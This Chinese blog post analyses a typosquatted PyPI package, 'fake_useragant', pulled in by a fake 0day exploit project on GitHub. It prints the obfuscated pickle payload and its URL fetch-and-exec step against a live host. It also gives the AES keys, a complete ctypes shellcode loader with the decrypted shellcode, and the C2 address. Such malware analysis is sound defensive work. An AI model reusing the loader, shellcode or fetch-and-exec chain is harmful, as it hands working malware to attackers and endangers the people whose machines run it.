今天是某活动的第一天,上微步在线和各个群里康康在讨论啥。发现位于github的一个据称捕获了攻击队0day的名为360tianqingRCE
的项目被爆出为红队的供应链攻击,于是顺着群内大佬的脚步我也分析了一下,以下为我个人和参考群里的讨论溯源分析的结果。
0x01 PyPI库代码污染
由于有大佬指出了问题所在,所以直接看该项目代码发现,在第5行导入了from fake_useragant import UserAgent
的python库,正常伪造UA的库名字为fake_useragent
,而供应链投毒的库名为fake_useragant
,攻击者把字母e改为了a。
通常运行python脚本提示库缺少的时候,我们都是利用pip install xxx
来导入需要的库,而执行pip动作实际上是从PyPI网站上下载所需要的库。于是在PyPI官网找到了攻击者上传的fake_useragant
恶意代码库,时间为最近几天上传的。
0x02 下载恶意代码
笔者进行下载的时候,发现PyPI官网的假库已经被删除了,无法再从官网下载,好在群内小伙伴提示可以从清华PyPI镜像源下载,因为镜像源24小时同步一次的机制,所以PyPI上删除了,镜像站可能要等一天后才能被删除。
pip3 install --target=./ fake_useragant -i https://pypi.tuna.tsinghua.edu.cn/simple #下载恶意代码到当前目录
0x03 urllib2.py恶意文件分析
通过将库内文件逐个点开看,不难发现urlli2.py文件中base64.decodebytes
后面括号里的异常,通常为恶意代码的所在,所以将括号里的字符串base64解码。这里的json并不是常用的json,而是使用import pickle as json
,使用了pickle的反序列化操作。
# -*- coding:utf-8 -*-
import base64
import ctypes
import pickle as json
import urllib.request
from Crypto.Cipher import AES
def task(pid):
import time
os.system(f'>nul 2>nul taskkill /F /PID {pid}')
urllib2.urlparse()
def urlparse():
json.loads(base64.decodebytes(b'gASVpwAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIyLaHRtbD11cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwOi8vaS5taWFvc3UuYmlkL2RhdGEvZl8yMDEzMzU3Mi5wbmcnKS5yZWFkKClbNzpdCmpzb24ubG9hZHMoYmFzZTY0LmRlY29kZWJ5dGVzKGh0bWxbOi0zXVs6Oi0xXStodG1sWy0zOl0pKZSFlFKULg=='))
括号里的字符串base64解码得到exec
、html=urllib.request.urlopen('http://i.miaosu.bid/data/f_20133572.png').read()[7:]
、json.loads(base64.decodebytes(html[:-3][::-1]+html[-3:]))
字样,说明代码使用exec执行后面的操作。
这里发现恶意代码向外网站请求访问了一张png图片,然后再对图片里的数据进行处理进而执行。这里可以使用wget http://i.miaosu.bid/data/f_20133572.png
命令把图片下载下来,可以发现这是一个文件头伪造为图片格式,但内容完全完全是字符串的文件。
0x04 列表切片拼接伪造图片文件数据
顺着攻击者的代码,可以拼接一下base64.decodebytes的数据,拼接代码如下。跟剥笋一样,打印出base64解密的结果,又得到一个新的恶意代码。
import base64
import urllib.request
html=urllib.request.urlopen('http://i.miaosu.bid/data/f_20133572.png').read()[7:]
print (base64.decodebytes(html[:-3][::-1]+html[-3:]))
0x05 恶意代码AES解密
通过第4小节对图片文件处理得到了一个需要AES解密的恶意代码,于是又顺着攻击者的代码编写一下脚本处理AES解密,代码如下。
# -*- coding:utf-8 -*-
import base64
from Crypto.Cipher import AES
print (base64.decodebytes(AES.new(b'jyWDR74uVcdaOAg5CnvZM8ltHsP2YEi=',AES.MODE_CBC,b'8mZkouHI9ngWzQx3').decrypt(base64.decodebytes(b'YInPAKpgg7l2klEEw4BscnF+pNZhM1kwSSzGEEru7IV/ZtcohHnmNy6/RTN1XkjST0DmTMBm06TRDkKg48SFGY0BwXk/Yo4ORmKxmFFXUay31UfL6gKeSSxb1wmbAwI4knHvfr+adbelfw3ZdBB4n5sPj/OOOupNWhSyjFMGsf6F1IFNTsMi2zGOvOvO05qcs5Q1M9ZS3ZikdxxMOYXnKr30eVUjggTM5v15icWVeDPzkzIH22NsZ7qf5bp/PeBRusQKgNJM5Jt5wpSIbLbjy+KLq8KObU1Akk6ornXDLVioztiQo92i0MovSBy4jbXQnoE/htwYZQzcRVWReH4kGkbcSHHi3m14H0qK5NP+GIKoDk1KSlpHosVETf/6KAb1tiTlNppL/5cx9MOOqPe2GY24KjUVc+yRIWIfHMDwNRPY5P7gYjCF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3SFyopie21WEpqoKDguGmgJKGdETg97tupjR6+zNJtoD3mpxh/aiNvptQZLxvnU+GbyyDB04bDdG2FRYRI/yBzztwOTZTvNZVeATDxVpTYx9J8G5o1sPe7thJg6r1vvUZYUkxyl09aLvii3Xc/s3ExPeGrtOZ2+AZjcOVckIsDw38sIEch0bP8YYc/q3GXGDnJNw+xFfUgbAfocebPXv5suZ2RyBPjfxzzB2ne0HgFDVToSI1dun9/zT3AZ4RcfhudrKuwc9jMb49pcN08ArPY2ofKNcLZKxDIfJiQKX0J1vVfn39iPawUfmVgWjHMLfzel6GtoaD3Rj40CN0enT6PeQ94altcDQPOjFgjfAHoURZyKGAXZjByItkxLsh7HsdgUou4+30D1DQgBFDc2jHJAdGU4VIKh2OoZIgO/pg/dG58Bl1EQe8LPkB3fErob4YIEVe3E3ErlhOwR8ceaUiQkc26rtmwunhuMC8LjC7JLU72kLBTduUqd5vmhwDk8iYxCsxevIl+VgnjWRaVJfgLbx/tzoepVgA6i5ETVkZ8DgdNemQmaxCx3aXQVERJMCxR3f7oW+wROe26nNP8vjQ32pY/Q+mzwaFOvCgSpBL5bqWQp0BQdJyqFsCa/MXCn7f+RzY6/WiKMTZ3R0BhlRt1NGHR1wWvo/4FZW3+UT1a06uewFUqThU5HuVJAu5BKpBDpJlAIgomeUD2mG33JXAoBuUPfQXO//xgubv61r5cfTxSw8FlikRrzHtPhgdaY7liqSFVAdxby9BODdWrUUxPwgVcrdA')%4))).rstrip(b'\0')))
0x06 发现ctypes模块与shellcode AES解密
通过第5小节的操作方法打印出来的代码,去掉\x00\x00
前面的不可见字符,\n
换行符进行手动处理,就能得到加载shellcode的loader代码(把执行相关命令的代码写入到内存中的控制代码),处理后代码如下,而shellcode就是bytearray(b),也就是字符串b中AES解密的结果。ctypes模块加载shellcode的用法网上有大量例子,这里可以参考文章CS免杀-Shellcode Loader原理(python)-XG小刚。
b=AES.new(b'ysIx0oKueJV15dkA4P3WvDjnq9giB62=',AES.MODE_CBC,b'jbMNX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ufgnTY4/yc0QXy/JmKZwmjrLDIDfEZ5whHMaOdzkvZfUut9omVp4SkXnaZ78f974KZggP6a/K4ebJ2rS+kgl1X85rv6c5JvT+qN6p2xSVggpy1bxAQKqE6WnUBsxc++1B2x1rOy1UFjfZu5daPYabrH8xDzxmappxl2mV5qOEF40Q')%4))).rstrip(b'\\0')
shellcode=bytearray(b)
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf=(ctypes.c_char*len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))
handle=ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
这里再直接利用攻击者的代码对shellcode进行AES解密,代码其实就是上面第一行。最终我们处理得到攻击者最原始的攻击代码,代码如下。
# -*- coding:utf-8 -*-
import ctypes
shellcode=bytearray(b'H\x8b\xc4H\x89X\x08H\x89h\x10H\x89p\x18H\x89x AVH\x83\xec eH\x8b\x04%`\x00\x00\x003\xdbH\x8bH\x18H\x8bQ \xebN\x0f\xb7BHL\x8bBP\x8b\xcb\xd1\xe8\x85\xc0~+D\x8b\xc8A\x0f\xb7\x00M\x8d@\x02f\x83\xf8ar\nA\xba\xe0\xff\x00\x00fA\x03\xc2i\xc9\x83\x00\x00\x00\x0f\xb7\xc0\x03\xc8I\xff\xc9u\xd8\x0f\xba\xf1\x1f\x81\xf9\xe6\x9c\xca\x1c\x0f\x84\x97\x00\x00\x00H\x8b\x12H\x85\xd2u\xadH\x8b\xfbE3\xc0\xbaT\xb8\xb9\x1aH\x8b\xcf\xe8\x88\x00\x00\x00\xbab4\x89^H\x8b\xcfL\x8b\xc0\xe8x\x00\x00\x00H\x8d\x15E\x01\x00\x003\xc9\x8b*H\x8dz\x08L\x8dr\x04\x8bt*\x04D\x8dI@A\xb8\x00\x10\x00\x00\x8b\xd6H\x03\xfd\xff\xd0L\x8b\xc8\x85\xf6t L\x8b\xc0H+\xf83\xd2\x8b\xc3\xff\xc3\xf7\xf5B\x8a\x042B2\x04\x07A\x88\x00I\xff\xc0;\xder\xe6H\x8b\\$0H\x8bl$8H\x8bt$@H\x8b|$HH\x83\xc4 A^I\xff\xe1H\x8bz \xe9k\xff\xff\xff\xcc\xcc\xccH\x8b\xc4H\x89X\x08H\x89h\x10H\x89p\x18H\x89x AVH\x83\xec HcA<L\x8b\xc9I\x8b\xd8\x8b\x8c\x08\x88\x00\x00\x00\x8b\xea\x85\xc9tjB\x83\xbc\x08\x8c\x00\x00\x00\x00t_I\x8d\x04\tD\x8bX\x18E\x85\xdbtRD\x8b@ \x8bx\x1c\x8bp$M\x03\xc1I\x03\xf9I\x03\xf13\xd2E\x85\xdbt8E\x8b\x10M\x03\xd13\xc9A\x8a\x02M\x8b\xf2\xeb\x11i\xc9\x83\x00\x00\x00\x0f\xbe\xc0\x03\xc8I\xff\xc6A\x8a\x06\x84\xc0u\xeb\x0f\xba\xf1\x1f;\xcdt(\xff\xc2I\x83\xc0\x04A;\xd3r\xc83\xc0H\x8b\\$0H\x8bl$8H\x8bt$@H\x8b|$HH\x83\xc4 A^\xc3H\x85\xdbu\x0c\x0f\xb7\x0cV\x8b\x04\x8fI\x03\xc1\xeb\xd4I\x8b\xd2I\x8b\xc9\xff\xd3\xeb\xca\xcc\xcc\n\x00\x00\x00\xdf\x8c\x19\xb8P\'[\xdb\x1bw}\x04\x00\x007\x88\x19\xb8P\x002\xa9\xf0.\x97\x0f\xf5\x90\xb8"[\xdb\x1b?\\H1{\xb9GZ\xdb\x1b2\xeeL(x\xbb\x0b=\xd4\x04\xf3\xdf\x8c\x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df\x1bwfc\xa7U\x8ec\xd6\x7f\x13g\x9e\x9e8\xf4\xd9\xde\x16R\xfb\x88\xca\x14\x19\xb8PjZ<[\xf7"\x8d\x16=\x03\xd8\xa4$S\xfe.s\x0c*P\'[\x1c_S\x9cR\xe6t\xdf\xe1\x1f\xff\\\xed\x97\x07E\x9c\x18nr\x04*\xbe\x971\xd4t\x9c\xeb\x97\x17\xd7\xbb4\xaa\x16\xa7\xd0\'[\xdb\x1b?VDQO\xb5o\x9a1\x19?R\x88\x8b\xf0\xd9\xed\x13\xf2\xd9xi\xc8\r\xfb`#P\x93\xe4\xb6\x93\xb5\xe0\xc4\x8c\xd8\x88KS\xf6\x1b4\x11\xb8P|\x06\x84E6\x83\xcdD\xf9\x0ef\x04\x18\x14h\x9b\x8c\x19\xdad\xae\x05\xdb\x1bw\xdf\xa9\x93\x01$\'[\xdb\x1b]\xc1\xd74\xb8P\'[\xf4$\x85\xcd\x8c\x19\xb8Pt\xdb^$w\xdf\x8c\x19\x8bN\xc12\xdb\x1bw\xdf\\\xe6G\xaf\xd8\xa4$\xe4\x98aa\xc7\xb8P\'[\x03\xe4\x88 s\xe6G\xafO[\xdb\x1bw\xdf\x8c\x19X\xaf\xd8\xa4$\xe4\x88 \xe4\x19\xb8P\'[\xdb\x1b\x9f s\xe6G\xaf\xd8\xa4\xae\x1bw\xdf\x8c\x19\xb8P\xd7\xa4$\xe4\x88 s\xe6W\xee\xca\x85\xdb\x1bw\xdft\xe6G\xaf\xd8\xa4$\xe4\x1f\xdf\x8c\x19\xb8P\'[\xdb\x1bw\xdf\x8c\x19\xb8Pn\x0b\x93W\'\x9e\xdcP\x96\x14k\x17\xdbv\x04\xa9\xefk\xcc~C7\xb7\x1b\x00')
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf=(ctypes.c_char*len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))
handle=ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
0x07 恶意代码流量分析
笔者一开始将第6节最后得到的代码保存为.py文件上传到国内的云沙箱平台,但是发现云沙箱没有发现网络连接情况。只好自己搭了台vmwaer靶机,在其中安装python对恶意代码进行运行,并在宿主机上使用wireshark对靶机进行抓包,抓到了shellcode执行时的网络连接情况,该行为为使用ping命令对C2服务器进行数据传输,C2服务器ip地址为39.105.114.235
。由于笔者测试时,攻击者应该是看到微步的风声已经关闭了C2服务端,shellcode执行后并没有与C2建立起完整连接。
为什么说有数据传输呢?因为ping命令默认的data数据为有规律的,在windwos环境下,ping的data部分为:abcdefghijklmnopqrstuvwabcdefghi,而shellcode执行的ping命令中的data是没有这种规律的,所以怀疑有数据隐藏在icmp协议data中发送给C2,但是实际C2服务端已经关闭,所以服务器按照正常的imcp ping的响应流程,把data数据原样返回给靶机。
使用微步查询IP情报,也发现39.105.114.235
这个C2地址被其他蓝队溯源分析到了,说明我们发现的C2地址是准确的。微步上的C2地址关联到了一个恶意文件,shell.exe文件大概是蓝队使用打包工具把py恶意代码重新打包上传到微步的,链接如下 https://s.threatbook.com/report/file/ba8ef66afb5cdc26a2f521b1e3bba6715fbf3a5be6f676e14dbe87b07e847be6。
0x08 总结
经过上述剥笋式分析,可以发现攻击者首先使用CS工具生成shellcode,然后对shellcode进行AES加密和base64编码,再对整体代码进行AES加密和base64编码,再把得到的字符串进行拆分和重组得到新的字符串,再添加上图片头格式伪造成一般图片,上传到公有图床上,然后再编写恶意代码其他的功能模块,把恶意代码库上传到PyPI上,再在github上写一段像模像样的代码引入恶意代码库同时保证其执行。